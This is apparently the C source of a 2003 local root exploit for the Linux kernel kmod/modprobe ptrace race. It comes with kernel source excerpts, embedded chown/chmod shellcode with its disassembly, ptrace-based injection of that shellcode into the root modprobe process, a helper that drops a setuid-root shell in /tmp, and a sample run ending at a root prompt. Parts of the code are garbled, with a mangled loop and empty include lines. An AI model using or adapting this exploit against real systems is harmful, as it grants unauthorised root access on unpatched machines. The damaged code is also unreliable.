/* ** ** Linux Kernel kmod.c modprobe ptrace vulnerability exploit ** ** Discovered by Wojciech Purczynski ** P.S: Also, very cool exploit. :-) ** ** Date: 19/Mar/2003: Release exploit. ** Update: 25/Mar/2003: Knew exploit success truth to RedHat 8.0. ** Update: 01/Apr/2003: Knew exploit success truth to Mandrake 9.0, 9.1 Release 1, 9.1 Release 2 ** ** Greets: -- ** Andre : He informed 8.0 exploit truths to me. ** Marcelo Rodrigues : He informed Mandrake exploit truths to me. ** ** -- ** exploit by "you dong-hun"(Xpl017Elz), . ** My World: http://x82.i21c.net & http://x82.inetcop.org ** */ /* ** -=-= POINT! POINT! POINT! POINT! POINT! =-=- ** ** kernel/kmod.c src code: ** ** line:095 int exec_usermodehelper(char *program_path, char *argv[], char *envp[]) ** line:096 { ** [...] ** line:133 curtask->euid = curtask->fsuid = 0; ** line:134 curtask->egid = curtask->fsgid = 0; ** line:135 cap_set_full(curtask->cap_effective); ** line:136 ** [...] ** line:138 set_fs(KERNEL_DS); ** [...] ** line:141 if (execve(program_path, argv, envp) < 0) ** line:142 return -errno; ** line:143 return 0; ** line:144 } ** [...] ** line:151 char modprobe_path[256] = "/sbin/modprobe"; ** [...] ** line:153 static int exec_modprobe(void * module_name) ** line:154 { ** line:155 static char * envp[] = { "HOME=/", "TERM=linux", "PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL }; ** line:156 char *argv[] = { modprobe_path, "-s", "-k", "--", (char*)module_name, NULL }; ** line:157 int ret; ** line:158 ** line:159 ret = exec_usermodehelper(modprobe_path, argv, envp); ** [...] ** ** call socket() system call. ** Next time, Let's observe process. ** __ ** ** bash# ps -aux | grep modprobe ** root 23479 0.0 0.0 108 12 pts/0 T 12:58 0:00 /sbin/modprobe -s -k net-pf-0 ** bash# ** ** -- ** Ok, this is process. ** This does exploit with attach by ptrace() function ! ** ** P.S: Sorry, for my poor english. ** */ //#define DEBUG #include #include #include #include #include #define R_SHELL "/tmp/x0x" typedef struct sucks { pid_t parent; pid_t child; pid_t pid; } v_field; v_field *_fld; int chk_=0; void banrl(); void xploit_f(); void child_child_child(); char shellcode[] = /* by x82 */ "\xeb\x1d\x5e\x31\xc0\xb0\xb6\x89\xf3\x31\xc9\x31\xd2\xcd\x80" /* chown */ "\x31\xc0\xb0\x0f\x66\xb9\xed\x0d\xcd\x80" /* chmod */ "\xb0\x01\x31\xdb\xcd\x80" /* exit */ "\xe8\xde\xff\xff\xff"R_SHELL"\x00"; /* ** jmp 804844f ** pop %esi ** xor %eax,%eax ** mov $0xb6,%al ** mov %esi,%ebx ** xor %ecx,%ecx ** xor %edx,%edx ** int $0x80 ** xor %eax,%eax ** mov $0xf,%al ** mov $0xded,%cx ** int $0x80 ** mov $0x1,%al ** xor %ebx,%ebx ** int $0x80 ** call 8048432 ** .string "/tmp/x0x" */ void child_child_child() { signal(SIGCHLD,xploit_f); // child stop & exit _fld->child=getpid(); _fld->pid=_fld->child+1; #ifdef DEBUG fprintf(stdout," [+] ptrace_attach();\n"); #endif if(ptrace(PTRACE_ATTACH,_fld->pid,0,0)==-1) { perror(" [-] ptrace_attach()"); kill(_fld->parent,SIGKILL); kill(_fld->child,SIGKILL); kill(_fld->pid,SIGKILL); } fprintf(stdout," [+] child process: %d.\n",_fld->child); fprintf(stdout," [+] modprobe process: %d.\n",_fld->pid); #ifdef DEBUG { system("ps -aux|grep /sbin/modprobe|grep -v grep"); } #endif while(!(chk_)) /* loop */; #ifdef DEBUG fprintf(stdout," [+] ptrace_syscall();\n"); #endif if(ptrace(PTRACE_SYSCALL,_fld->pid,0,0)==-1) { perror(" [-] ptrace_syscall()"); kill(_fld->parent,SIGKILL); kill(_fld->child,SIGKILL); kill(_fld->pid,SIGKILL); } fprintf(stdout," [+] child end.\n"); } void xploit_f() { struct user_regs_struct reg_t; // register value u_long *dt_eip; u_long *sh_code; int roof=0; if(!(chk_++)) { return; } #ifdef DEBUG sleep(3); fprintf(stdout," [+] ptrace_getregs();\n"); #endif if(ptrace(PTRACE_GETREGS,_fld->pid,0,®_t)==-1) // get registers. { perror(" [-] ptrace_getregs()"); kill(_fld->parent,SIGKILL); kill(_fld->child,SIGKILL); kill(_fld->pid,SIGKILL); } fprintf(stdout," [*] %%eip register (return address): %010p.\n",reg_t.eip); dt_eip=(u_long *)reg_t.eip; sh_code=(u_long *)shellcode; for(roof=0;roofpid,(dt_eip++),*(sh_code++))==-1) { perror(" [-] ptrace_poketext()"); kill(_fld->parent,SIGKILL); kill(_fld->child,SIGKILL); kill(_fld->pid,SIGKILL); } } fprintf(stdout," [*] Ok, pushing shellcode, execute shell!\n\n"); #ifdef DEBUG fprintf(stdout," [+] ptrace_detach();\n"); #endif if(ptrace(PTRACE_DETACH,_fld->pid,0,0)==-1) { perror(" [-] ptrace_detach()"); kill(_fld->parent,SIGKILL); kill(_fld->child,SIGKILL); kill(_fld->pid,SIGKILL); } exit(0); } int main(int argc, char **argv) { FILE *fp; char *exec_c=(char *)malloc(0x82); char ext[strlen(R_SHELL)+4]; memset((char *)ext,0,sizeof(ext)); snprintf(ext,sizeof(ext)-1,"%s.c",R_SHELL); (void)banrl(); fprintf(stdout," [+] parent process: %d.\n",getpid()); if((_fld=(v_field *)malloc(sizeof(v_field)))==NULL) { perror(" [-] malloc()"); exit(-1); } if((fp=fopen(ext,"w"))==NULL) { perror(" [-] fopen()"); exit(-1); } fprintf(fp,"main(){setuid(0);setgid(0);system(\"su -\");}\n"); fclose(fp); snprintf(exec_c,0x82-1,"gcc -o %s %s >/dev/null 2>&1",R_SHELL,ext); system(exec_c); unlink(ext); _fld->parent=getpid(); _fld->child=fork(); if(_fld->child==-1) { perror(" [-] fork()"); kill(_fld->parent,SIGKILL); kill(_fld->child,SIGKILL); kill(_fld->pid,SIGKILL); } if(_fld->child==0) { (void)child_child_child(); } else { socket(0,1,0);// /sbin/modprobe -s -k net-pf-0 } wait(NULL); execl(R_SHELL,R_SHELL,0); return(0); } void banrl() { fprintf(stdout,"\n Linux Kernel kmod.c modprobe ptrace vulnerability exploit\n\n"); } /* ** ** RedHat Linux 6.x, 7.x, 8.0 exploit successfully. (linux kernel 2.2x~ 2.4x) ** ** Result: -- ** ** bash$ ./0x82-modprobe_ptrace ** ** Linux Kernel kmod.c modprobe ptrace vulnerability exploit ** ** [+] parent process: 29088. ** [+] child process: 29096. ** [+] modprobe process: 29097. ** [*] %eip register (return address): 0x4000ef3c. ** [!] push 0x4000ef3c = 0x315e1deb; ** [!] push 0x4000ef40 = 0x89b6b0c0; ** [!] push 0x4000ef44 = 0x31c931f3; ** [!] push 0x4000ef48 = 0x3180cdd2; ** [!] push 0x4000ef4c = 0x660fb0c0; ** [!] push 0x4000ef50 = 0xcd0dedb9; ** [!] push 0x4000ef54 = 0x3101b080; ** [!] push 0x4000ef58 = 0xe880cddb; ** [!] push 0x4000ef5c = 0xffffffde; ** [!] push 0x4000ef60 = 0x706d742f; ** [!] push 0x4000ef64 = 0x7830782f; ** [!] push 0x4000ef68 = (nil); ** [*] Ok, pushing shellcode, execute shell! ** ** bash# ** -- */